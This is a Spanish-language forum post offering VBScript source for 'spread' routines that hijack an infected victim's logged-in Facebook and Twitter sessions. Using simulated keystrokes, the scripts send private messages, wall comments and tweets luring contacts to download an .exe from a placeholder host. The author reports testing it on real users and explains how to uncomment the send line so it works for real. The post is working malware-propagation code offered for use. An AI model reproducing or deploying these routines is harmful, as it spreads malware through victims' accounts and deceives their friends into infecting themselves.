[VBS] [SOURCE] Facebook y Twitter Spread

3 funciones de Spread que permitirán reproducir una infección vírica usando Facebook (2 métodos) y Twitter (1 método)

El funcionamiento es muy simple. Primero de todo se tienen que dar unas circunstancias para que el "spread" sea efectivo, he realizado pruebas con usuarios reales y me he quedado asombrado con la efectividad de éste "spread". El código se aprovecha de los atajos de teclado que hay en las web's de FB y TW. Eso significa que si cambian los atajos, la función dejará de funcionar... Empecemos con la primera:

Spread usando mensajes personales de Facebook

Primero de todo, os contaré las pulsaciones que ejecuta el script para que las podáis testear en vuestro propio FB, es muy fácil:

1. Entra en www.facebook.com
2. Inicia sesión en tu perfil
3. Pulsa la combinación de teclas: ALT+M
4. Pulsa una tecla (la letra C por ejemplo)
5. Pulsa Enter y Tabulador
6. Escribe un texto y pulsa Enter

Si lo has hecho bien, verás que has enviado un mensaje a un contacto de tu lista de amigos. Pues bien, el script automatiza todas esas acciones en el PC de la víctima:

Código

Set WS = CreateObject("WScript.Shell")


call fb_msg_spread("holaa, te he etiquetado en esta foto http://www.servidor.com/mifoto.exe")





Function FB_MSG_Spread(X)


Randomize


C = Chr(Int(rnd*26)+97)





WS.run "http://www.facebook.com"


WScript.Sleep 5000





WS.SendKeys "%m"


WScript.Sleep 500





For i = 1 to Int(rnd*5)+2


WS.SendKeys C


WScript.Sleep 500


WS.SendKeys "{ENTER}"


Next





WScript.Sleep 500


WS.SendKeys "{TAB}"


WScript.Sleep 500


WS.SendKeys X


WScript.Sleep 500


'WS.SendKeys "{ENTER}"


End Function

Copiad ese código TAL CUAL en un fichero de texto y lo guardáis como VBS. La última linea esta comentada, por lo que no os preocupéis, no se va a mandar ningún mensaje a ningún contacto vuestro.

Ahora ejecutad el fichero y mirar como se reproduce la secuencia de comandos. El script calcula una letra al azar y la utiliza para enviar el mensaje a varios contactos simultaneamente. Para utilizar éste código de forma real, quita el comentario de la última línea y ya tendrás un estupendo spread por Facebook.



Spread usando noticias del muro de Facebook

Éste metodo es parecido al anterior, pero utiliza las teclas J y C para buscar una noticia al azar y enviar el comentario:

Código

Set WS = CreateObject("WScript.Shell")


call fb_txt_spread("ei, creo que te han etiquetado sin tu permiso! http://www.servidor.com/lafoto.exe")





Function FB_TXT_Spread(X)


Randomize





WS.run "http://www.facebook.com"


WScript.Sleep 5000





For i = 1 to Int(rnd*5)+1


WS.SendKeys "j"


WScript.Sleep 800


Next





WS.SendKeys "c"


WScript.Sleep 800


WS.SendKeys X


WScript.Sleep 500


'WS.SendKeys "{ENTER}"


WScript.Sleep 500


WS.SendKeys "{TAB}"


WScript.Sleep 500


WS.SendKeys "{TAB}"


WScript.Sleep 500


WS.SendKeys "j"


End Function

De igual modo que en el ejemplo anterior, podéis ejecutar éste script ya que la tecla ENTER está comentada y no hay riesgo. Para utilizar el script en un entorno real, quitad el comentario.



Spread usando un tweet en Twitter

Lo mismo que los anteriores casos, utilizando la tecla M para mandar un tweet:

Código

Set WS = CreateObject("WScript.Shell")


call tw_txt_spread("Acabo de publicar un album de fotos http://www.servidor.com/photo_album.exe")





Function TW_TXT_Spread(X)


Randomize





WS.run "http://www.twitter.com"


WScript.Sleep 6000





WS.SendKeys "n"


WScript.Sleep 800


WS.SendKeys X


WScript.Sleep 500


WS.SendKeys "{TAB}"


WScript.Sleep 500


'WS.SendKeys "{ENTER}"


End Function

Podéis probar el código, ya que la tecla ENTER también está comentada. Click Here - Aqui!

Ver mas Post

Tweet